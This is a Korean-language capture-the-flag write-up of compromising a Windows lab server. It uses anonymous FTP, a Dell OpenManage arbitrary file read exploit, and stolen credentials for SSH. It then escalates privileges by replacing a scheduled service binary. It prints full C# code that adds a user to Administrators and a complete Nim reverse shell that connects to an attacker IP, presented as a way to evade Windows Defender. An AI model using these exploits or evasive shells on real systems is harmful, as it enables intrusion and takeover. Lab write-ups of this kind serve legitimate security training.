
Hack Smarter라는 APT 그룹의 웹서버를 해킹하여 손상시키고 다음 공격타겟 리스트를 빼내와야한다. 흔적을 남기지 않고 미션을 수행하는 것이 중요하다고 한다.

익숙한 포트인 FTP, SSH, HTTP, RDP가 열려있고 1311 포트는 "Dell OpenManage" 에서 사용하는 포트라고 한다.
포트들을 봤을 때 일단 윈도우 서버로 추정된다.
Dell OpenManage는 Dell 사에서 제공하는 IT 인프라 관리 솔루션으로 서버, 스토리지, 네트워크 장비의 배포, 모니터링, 업데이트, 유지보수를 중앙에서 관리할 수 있는 소프트웨어

연계된 nmap 스크립트를 통해 ftp Anonymous 로그인이 허용된 것을 확인할 수 있다.

anonymous로 로그인하여 파일을 다운받아 확인해보니 APT 그룹이 탈취한 신용카드 정보들이 들어있다.
다른 쓸만한 정보는 없었고 여권 이미지도 있는데 열리진 않는다.
문제풀이에 상관은 없지만 나중에 알고보니 이미지 파일을 그냥 다운받으면 안되고 binary mode로 진입한 뒤 다운을 받아야 이미지가 정상적으로 다운로드 된다.


(귀엽다..ㅋ)

Microsoft IIS 10.0 버전의 웹서버를 사용하고 있다.

웹페이지를 돌아다녀봐도 상호작용할 수 있는 기능이 없다.
gobuster로 디렉토리나 서브도메인, 가상호스트를 찾아봐도 아무것도 없다.

1311 포트로 접속하니 OpenManage 로그인 창이 뜬다.
아래 About 페이지로 들어가니 9.4.0.2 버전을 사용하고 있다고 한다.
위 링크를 확인해보면 해당 버전에 Arbitrary File Read 취약점이 있다고 한다.
여담으로 위 링크 글을 읽어보면 Rhino 라는 보안회사에서 Dell에 해당 취약점이 있다고 알려줬는데도 Dell사는 의도된대로 동작하고 있으니 문제가 없다고 입장을 고수했는데 Rhino사가 지속적으로 문제를 제기하니까 끝내 보안패치가된 9.5 버전을 릴리즈했다고 한다.

POC 코드를 다운받아 exploit을 성공했고 이제 임의의 파일을 읽어올 수 있다.
IIS 서버 설정파일인 web.config 파일을 읽으려고 시도했다. 디폴트 경로에서는 찾을 수 없고 hacksmartersec 이라는 디렉토리 안에서 찾을 수 있는데 이 경로는 nmap 스크립트 결과에서 힌트를 얻을 수 있다.
web.config파일은 Microsoft IIS(Internet Information Services) 웹 서버에서 사용되는 웹 애플리케이션 설정 파일이며C:\inetpub\wwwroot는 기본적으로 IIS 서버에서 호스팅되는 웹 애플리케이션의 루트 디렉토리이다.

web.config 파일에는 애플리케이션 전역에서 사용될 수 있는 계정정보가 들어있었다.
해당 계정정보로 OpenManage 로그인을 시도했지만 실패했고 remmina를 통해 rdp 접속을 시도했지만 또 실패..

마지막으로 ssh 접속을 시도해봤더니 성공했다.

tyler의 홈디렉토리에서 user.txt를 찾을 수 있고 윈도우이기 때문에 type 명령어로 파일 내용을 확인할 수 있다.
이 APT그룹의 다음 타겟이 담긴 정보를 획득해야한다. 당연히 Administator 디렉토리에 있을 것이다.
권한상승 취약점을 찾기 위해 PrivescCheck를 다운받고 타겟서버로 전송했다.


타겟서버에서 PrivescCheck를 실행할 때는 반드시 powershell -ep bypass 명령을 통해 powershell 실행 정책을 우회해야한다.
강력한 기능이지만 기본적으로 차단되어 있지는 않다.
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

spoofer-shceduler 이름을 가진 취약한 프로세스를 발견했다.
이미지 경로와 User가 LocalSystem인 것으로 보아 관리자 권한으로 실행된다.
sc.exe 를 통해 프로세스 정보 조회도 가능하다.
SC는 서비스 제어 관리자 및 서비스와의 통신에 사용되는 프로그램이며qc옵션으로 특정서비스의 세부내용을 확인할 수 있다

spoofer-shceduler는 주기적으로 실행되기 때문에 이 파일을 리버스쉘로 바꿔치기하면 될 것 같다.

msfvenom으로 리버스쉘 exe 파일을 만든 뒤 wget으로 파일을 다운받고 프로세스를 재기동했다.
sc.exe stop spoofer-scheduler
sc.exe start spoofer-scheduler

stop시키려 했더니 프로세스가 존재하지 않는다고 한다. start도 마찬가지다.
바이너리도 사라져버렸다. 윈도우 디펜더에서 악성코드로 분류되어 프로세스도 차단되고 악성바이너리도 검역소로 옮겨진 듯하다.
이렇게 윈도우 디펜더에 발각된 경우 공격벡터가 사라져 어쩔 수 없이 머신을 재기동해야한다.
msfvenom으로 생성된 리버스 쉘은 기존의 악성 코드와 유사한 특징을 가지고 있어 윈도우 디펜더에 탐지될 가능성이 매우 높다
C# 으로 생성한 리버스쉘 바이너리도 윈도우 디펜더에 걸렸다
관리자 권한을 획득하려면 윈도우 디펜더를 우회하는 바이너리가 필요하다.
정말 다양한 방법이 있는데 리버스쉘을 쓰지 않고 tyler 계정을 administrators 그룹으로 설정하는 바이너리로 바꿔치기해도 된다.
먼저 tyler 계정을 administrators 그룹으로 설정하는 C# 코드를 작성한다.
using System;
using System.Diagnostics;
public class Program
{
public static void Main()
{
// Create a process to run the 'net' command
Process process = new Process();
process.StartInfo.FileName = "net";
process.StartInfo.Arguments = "localgroup Administrators tyler /add";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.CreateNoWindow = true;
// Start the process
process.Start();
// Read the output (if needed)
string output = process.StandardOutput.ReadToEnd();
// Wait for the process to exit
process.WaitForExit();
// Display the output (if needed)
Console.WriteLine(output);
}
}
C# 코드를 컴파일할 수 있는 mono-complete를 설치하고 컴파일한다.
sudo apt install mono-complete
mcs spoofer-scheduler.cs
이제 타겟서버에서 다운받고 spoofer-scheduler 프로세스를 재기동하면 tyler 계정이 관리자그룹에 포함되어 administrator 디렉토리에 접근할 수 있다.

hacking-target 파일에 있는 정보를 제출하면 미션 클리어!
관리자그룹에 포함되면 RDP 접속도 가능하니 한번 해보자.
처음에 시도해봤던 remmina를 통해 접속에 성공했다.

Nim 이라는 언어로 리버스쉘을 생성하면 윈도우 디펜더를 우회할 수 있다.
(아마.. 비주류 언어라서 그런걸까?)
아래 코드로 rev_shell.nim 파일을 생성한다.
#[
Created by Sn1r
https://github.com/Sn1r/
]#
import net, os, osproc, strutils
proc exe(c: string): string =
result = execProcess("cm" & "d /c " & c)
var
v = newSocket()
# Change this
v1 = "10.8.51.29"
v2 = "80"
s4 = "Exiting.."
s5 = "cd"
s6 = "C:\\"
try:
v.connect(v1, Port(parseInt(v2)))
while true:
v.send(os.getCurrentDir() & "> ")
let c = v.recvLine()
if c == "exit":
v.send(s4)
break
if c.strip() == s5:
os.setCurrentDir(s6)
elif c.strip().startswith(s5):
let d = c.strip().split(' ')[1]
try:
os.setCurrentDir(d)
except OSError as b:
v.send(repr(b) & "\n")
continue
else:
let r = exe(c)
v.send(r)
except:
raise
finally:
v.close
그리고 컴파일하여 spoofer-scheduler.exe 파일을 생성한다.
nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe rev_sh
ell.nim
이렇게 생성된 파일을 타겟서버의 spoofer-scheduler.exe 파일과 바꿔치기하고 서비스를 재구동하면 쉘을 얻을 수 있다.